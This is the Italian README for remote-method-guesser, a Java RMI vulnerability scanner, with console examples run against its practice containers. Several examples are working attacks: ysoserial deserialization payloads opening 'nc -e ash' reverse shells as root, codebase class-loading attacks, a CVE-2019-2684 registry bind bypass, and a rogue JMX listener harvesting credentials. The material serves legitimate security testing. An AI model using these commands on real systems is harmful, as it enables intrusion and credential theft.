qtc-de/remote-method-guesserScanner di vulnerabilità Java RMI
remote-method-guesser (rmg) è uno scanner di vulnerabilità Java RMI e può essere utilizzato per identificare e verificare vulnerabilità di sicurezza comuni su endpoint Java RMI.
remote-method-guesser è stato presentato al Black Hat USA2021 durante le sessioni Arsenal. La registrazione della sessione e le diapositive corrispondenti sono disponibili pubblicamente e possono essere trovate utilizzando i seguenti link:
Il repository remote-method-guesser contiene tre server di esempio che possono essere utilizzati per esercitarsi nell'enumerazione e negli attacchi Java RMI.
Il server rmg-example-server espone servizi RMI regolari che possono essere enumerati e sfruttati utilizzando remote-method-guesser.
Il server rmg-ssrf-server espone un servizio HTTP vulnerabile ad attacchi SSRF e esegue servizi RMI che ascoltano solo su localhost. Questo può essere utilizzato per fare pratica con le opzioni --ssrf e --ssrf-response di remote-method-guesser.
Il server spring-remoting-server espone interfacce RMI create tramite Spring Remoting. Queste sono leggermente diverse dal Java RMI standard e possono essere utilizzate per testare l'integrazione Spring Remoting associata di remote-method-guesser.
Tutti i server sono disponibili come contenitori all'interno del GitHub Container Registry:
rmg è un progetto maven e l'installazione dovrebbe essere semplice. Con maven installato, esegui i seguenti comandi per creare un file .jar eseguibile:```console
$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package
Puoi anche utilizzare i pacchetti precompilati creati per ogni [release](https://github.com/qtc-de/remote-method-guesser/releases).
I pacchetti precompilati per il ramo di sviluppo vengono creati automaticamente e possono essere trovati sulla pagina *GitHub* [actions page](https://github.com/qtc-de/remote-method-guesser/actions).
*rmg* non include *ysoserial* come dipendenza. Per abilitare il supporto *ysoserial*, devi specificare il percorso
del tuo file ``ysoserial.jar`` come argomento aggiuntivo (ad esempio ``--yso /opt/ysoserial.jar``) oppure modificare il
percorso predefinito all'interno del [file di configurazione di rmg](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) prima di compilare il progetto.
*rmg* supporta anche il completamento automatico per *bash*. Per usufruire del completamento automatico, è necessario avere installato il
progetto [completion-helpers](https://github.com/qtc-de/completion-helpers). Se configurato correttamente, basta
copiare lo [script di completamento](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/resources/bash_completion.d/rmg) nella cartella ``~/.bash_completion.d`` per abilitare
il completamento automatico.```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/
Di seguito, vengono presentati brevi esempi per ogni operazione disponibile. Per una descrizione più dettagliata, dovresti leggere la cartella della documentazione che contiene informazioni più dettagliate su rmg e Java RMI in generale. Tutti gli esempi presentati si basano sul rmg-example-server e sul rmg-ssrf-server. Entrambi sono contenuti all'interno di questo repository nella cartella docker e possono essere utilizzati per esercitarsi nell'enumerazione Java RMI. Puoi costruire i contenitori corrispondenti da solo o caricarli direttamente dal GitHub Container Registry.```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...
rmg v4.0.0 - a Java RMI Vulnerability Scanner
positional arguments:
action
bind Binds an object to the registry thats points to listener
call Regulary calls a method with the specified arguments
codebase Perform remote class loading attacks
enum Enumerate common vulnerabilities on Java RMI endpoints
guess Guess methods on bound names
known Display details of known remote objects
listen Open ysoserials JRMP listener
objid Print information contained within an ObjID
rebind Rebinds boundname as object that points to listener
roguejmx Creates a rogue JMX listener (collect credentials)
scan Perform an RMI service scan on common RMI ports
serial Perform deserialization attacks against default RMI components
unbind Removes the specified bound name from the registry
named arguments: -h, --help show this help message and exit
#### bind, rebind e unbind
Utilizzando le azioni ``bind``, ``rebind`` o ``unbind``, è possibile modificare i *nomi associati* (bound names) disponibili all'interno del *registro RMI*.
Ciò è particolarmente utile per verificare ``CVE-2019-2684``, che bypassa le restrizioni localhost e consente a utenti remoti di eseguire
operazioni di bind. Quando si utilizza l'azione ``bind`` o ``rebind``, *remote-method-guesser* lega di default il *RemoteObject* ``javax.management.remote.rmi.RMIServerImpl_Stub``,
che è il *RemoteObject* utilizzato dai server *jmx*. Inoltre, è necessario specificare l'indirizzo del corrispondente
*endpoint TCP* in cui si trova il *RemoteObject* (indirizzo a cui i client dovrebbero connettersi quando tentano di utilizzare l'oggetto associato).```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - my-object
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
Utilizzando il Plugin System di remote-method-guesser, è anche possibile associare oggetti personalizzati al registro RMI. Per saperne di più sul Plugin System, fare riferimento alla documentation folder.
Utilizzando l'azione call di remote-method-guesser, è possibile invocare metodi remoti senza scrivere alcun codice Java. Si consideri che sul server remoto esiste il metodo String execute(String cmd). Questo metodo sembra promettente e potresti volerlo invocare utilizzando una normale chiamata RMI Java. Ciò può essere fatto utilizzando il seguente comando:```console
[qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -
Notare che chiamare metodi remoti non produce alcun output per impostazione predefinita. Per elaborare gli output generati dall'azione `call`, è necessario utilizzare il [plugin system](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs/rmg/plugin-system.md) di *remote-method-guesser* e registrare un `ResponseHandler` oppure utilizzare il plugin predefinito `GenericPrint`. `GenericPrint` è incluso in *remote-method-guesser* per impostazione predefinita e può essere attivato utilizzando l'opzione `--show-response`.```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)
During the call action, the provided arguments are evaluated as Java expression by inserting them into the following template:
new Object[]{ arg1, arg2, arg3, ... }. Pertanto, devi assicurarti che gli argomenti forniti corrispondano a questo schema. Ad esempio,
usare "id" come argomento genera un errore, poiché l'argomento viene passato come id a remote-method-guesser e l'espressione risultante
new Object[]{ id } non è una espressione Java valida. Al contrario, devi usare '"id"' perché questo produce new Object[]{ "id" },
che è valido.
Inoltre, i tipi primitivi devono essere specificati nella loro rappresentazione oggetto corrispondente (ad es. new Integer(5) invece di 5). Altrimenti non
possono essere utilizzati all'interno dell'array Object[] creato dall'espressione Java. Durante la chiamata RMI, gli argomenti corrispondenti vengono utilizzati
come previsto e si adatteranno alla firma del metodo specificata. Per casi d'uso più complessi, puoi anche definire un ArgumentProvider personalizzato utilizzando
il sistema di plugin di remote-method-guesser.
Java RMI supporta una funzionalità chiamata codebase, in cui il client e il server possono specificare URL durante le chiamate RMI che possono essere utilizzati per caricare dinamicamente classi sconosciute. Se un server RMI accetta un codebase specificato dal client, ciò può portare a esecuzione di codice remoto quando il client fornisce una classe Java malevola durante la comunicazione RMI.
La configurazione del codebase su un server RMI può essere diversa per i vari componenti: Activator, DGC, Registry e Application Level.
remote-method-guesser ti permette di testare ciascun componente individualmente usando --signature <method> (application level),
--component act (activator), --component dgc (distributed garbage collector) o --component reg (RMI registry) insieme all'azione
codebase.
Application Level:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -
*RMI Registry*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] Caught ClassCastException during codebase attack.
[+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -
Garbage Collector Distribuito:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -
*Activator*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] Caught IllegalArgumentException during codebase attack.
[+] Codebase attack was probably successful :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -
L'azione enum esegue diversi controlli sull'endpoint Java RMI specificato e stampa i risultati corrispondenti. Per una spiegazione più dettagliata dell'output generato dall'azione enum, puoi leggere la corrispondente pagina di documentazione.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.example/well-hidden-development-folder/
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
#### guess
Quando si utilizza l'azione ``guess``, *remote-method-guesser* tenta di identificare metodi remoti esistenti inviando hash dei metodi
al server remoto. Questa operazione richiede una wordlist che contenga le corrispondenti definizioni dei metodi.
*remote-method-guesser* include alcune wordlist predefinite che vengono inserite nel file ``.jar`` durante la fase di compilazione.
È possibile sovrascrivere le posizioni delle wordlist modificando il [file di configurazione rmg](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) o utilizzando le opzioni ``--wordlist-file``
o ``--wordlist-folder``. I metodi con zero argomenti vengono saltati durante il guessing, poiché porterebbero a chiamate reali di metodi
sul lato server. È possibile abilitare il guessing sui metodi a zero argomenti utilizzando l'opzione ``--zero-arg``.```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
Quando si esegue l'azione enum, remote-method-guesser contrassegna i bound names disponibili sul RMI registry come known o unknown. Questa decisione dipende dalla classe implementata dal corrispondente bound name e dal fatto che la classe corrispondente sia contenuta nell'elenco degli endpoint noti presente nel repository di remote-method-guesser. Quando un bound name è contrassegnato come known, è possibile utilizzare l'azione known sulla classe corrispondente. In questo modo si ottengono informazioni sulla classe, come i metodi remoti disponibili, una descrizione generale e le possibili vulnerabilità:```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter
L'elenco delle classi note, la loro descrizione e l'elenco delle vulnerabilità note è lungi dall'essere completo.
Si spera che cresca in futuro ed è guidato dal contributo di altri utenti. Se incontri un *endpoint RMI* che implementa una classe attualmente mancante e disponi di informazioni sufficienti (descrizione e metodi disponibili), sentiti libero di aprire un issue o una pull request.
#### listen
A volte è necessario fornire un *JRMPListener* dannoso, che serve payload di deserializzazione alle connessioni *RMI* in arrivo.
Non è necessario scrivere un tale listener da zero, poiché è già fornito dal [progetto ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java).
*remote-method-guesser* fornisce un wrapper attorno all'implementazione di *ysoserial*, che consente di generare un *JRMPListener* utilizzando la sintassi *rmg* abituale:```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...
L'azione objid può essere utilizzata per visualizzare informazioni più dettagliate su un ObjID. Ogni RemoteObject riceve un ObjID quando viene esportato dal RMI runtime. La conoscenza del valore ObjID è necessaria per comunicare con un RemoteObject, motivo per cui di solito è necessario un RMI registry. Il RMI registry contiene l'ObjID per ogni bound name e remote-method-guesser li mostra durante l'azione enum.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]
I valori ``ObjID`` sono composti da diversi componenti. Questi componenti sono visualizzati in forma leggibile quando
si utilizza l'azione ``objid`` sul corrispondente ``ObjID``:```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 1096154566158180646
[+] UID:
[+] Unique: -734386537
[+] Time: 1638254048332 (Nov 30,2021 07:34)
[+] Count: -32759
La maggior parte delle informazioni visualizzate non è molto utile, ma il valore Time può essere interessante. Questo valore contiene l'ora in cui è stato creato RemoteObject. Pertanto, permette di determinare cose come il tempo di attività di un server RMI.
A volte si identificano servizi che è comune includere componenti Java RMI con essi (JBoss, Solr, Tomcat, ...),
ma non si vuole eseguire una scansione completa delle porte sull'host corrispondente. In queste situazioni, l'azione scan
può essere utile. Esegue una rapida scansione delle porte solo per le porte RMI comuni e tenta di identificare servizi RMI
su di esse:```console
[qtc@devbox ~]$ rmg scan 172.17.0.2
[+] Scanning 112 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [119 / 119] [#############################] 100%
[+]
[+] Portscan finished.
Per impostazione predefinita, le azioni di scansione utilizzano un elenco preconfigurato di *porte RMI* comuni. Per personalizzare l'elenco delle porte da scansionare,
è possibile utilizzare l'opzione ``--ports``. Questa opzione accetta numeri semplici e intervalli numerici per le specifiche delle porte.
Il carattere trattino (``-``) può essere utilizzato per fare riferimento all'elenco di porte predefinito.```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.
Nota che l'azione scan è implementata in modo semplice e non affidabile. Se possibile, dovresti sempre eseguire una scansione delle porte dedicata utilizzando strumenti come nmap. Tuttavia, l'azione scan può darti una rapida indicazione sulla scoperta di porte RMI.
L'azione roguejmx crea un listener JMX sul tuo sistema che cattura le credenziali delle connessioni in entrata. Dopo aver creato il listener, remote-method-guesser stampa il valore ObjID necessario per interagire con esso.```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
Utilizzando le operazioni ``bind`` e ``rebind`` è possibile iniettare questo ascoltatore in un *RMI registry* e attendere che altri utenti si connettano al proprio server:```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials
Le connessioni in entrata sono registrate dal listener:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!
*remote-method-guesser* utilizza il valore *ObjID* ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]`` per impostazione predefinita per le operazioni *bind*
e per il server *JMX* malevolo. Non è quindi necessario specificare manualmente l'*ObjID* come mostrato sopra. Puoi modificare il valore predefinito dell'*ObjID* tramite argomenti da riga di comando o all'interno del file di configurazione di *remote-method-guesser*.
Il server *JMX* malevolo restituisce un'eccezione di accesso (credenziali non valide) per ogni connessione in arrivo per impostazione predefinita, ma puoi anche inoltrare le connessioni in arrivo a un'istanza *JMX* diversa. Questo permette di ottenere le credenziali dalle connessioni client in arrivo senza interrompere alcun servizio. Per inoltrare le connessioni, devi specificare il target corrispondente come argomento aggiuntivo. I target possono essere specificati in due modi diversi:
1. L'indirizzo IP e la porta di un registry RMI insieme al nome associato della corrispondente *istanza JMX*: ```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] --> Forwarding connections to: 172.17.0.2:9010:jmxrmi
[+]
#### serial
*Java RMI* utilizza *oggetti serializzati Java* nella comunicazione client-server. Ciò lo rende potenzialmente vulnerabile
ad *attacchi di deserializzazione*. Questi attacchi possono colpire diversi *componenti RMI*:
* *Componenti RMI ben noti* (*interni di RMI*)
* *RMI registry*
* *DGC*
* *Activator*
* *RemoteObjects* definiti dall'utente (*a livello applicativo*)
##### Componenti RMI Ben Noti
Mentre i moderni *server RMI* applicano *filtri di deserializzazione* su questi *componenti RMI ben noti* (*JEP290*), i server più vecchi potrebbero essere ancora vulnerabili ad *attacchi di deserializzazione*. *remote-method-guesser* permette di verificare questo utilizzando l'azione ``serial``, che può eseguire attacchi di deserializzazione sull'*Activator*, sul *Distributed Garbage Collector* (*DGC*) o sul *RMI registry*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] Caught ClassCastException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)
In caso del RMI registry, i filtri di deserializzazione possono essere bypassati utilizzando i gadget JRMPClient o An Trinh. Questi gadget creano un canale RMI in uscita che non applica più i filtri di deserializzazione. Su questo canale, gli attacchi di deserializzazione possono essere applicati come al solito, ma entrambi i bypass sono stati corretti nelle versioni più recenti di Java RMI.```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.
[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection
[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)
Durante la sua azione ``enum``, *remote-method-guesser* ti informa se un *Activator* è presente su un *endpoint RMI* (componente *RMI* legacy).
L'implementazione predefinita per il *sistema di attivazione* non implementa alcun filtro di deserializzazione per il *RemoteObject Activator*. Pertanto,
gli attacchi di deserializzazione su un endpoint *Activator* dovrebbero sempre funzionare, anche sulle versioni più recenti di *Java*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] Caught IllegalArgumentException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
Mentre le moderne implementazioni di Java RMI proteggono i noti componenti RMI con filtri di deserializzazione per impostazione predefinita, i RemoteObjects personalizzati (le applicazioni RMI vere e proprie) di solito non sono protetti. I metodi remoti che non utilizzano solo tipi primitivi nei loro argomenti possono quindi essere sfruttati per attacchi di deserializzazione.
Questo articolo del blog di Hans-Martin Münch
spiega la questione in dettaglio. remote-method-guesser può essere utilizzato per verificare facilmente tali vulnerabilità. Ad esempio, possiamo usare il metodo String login(java.util.HashMap dummy1) del server di esempio di remote-method-guesser per eseguire un attacco di deserializzazione:```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.util.HashMap on position 0
[+] Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430.
[+] Deserialization attack probably worked :)
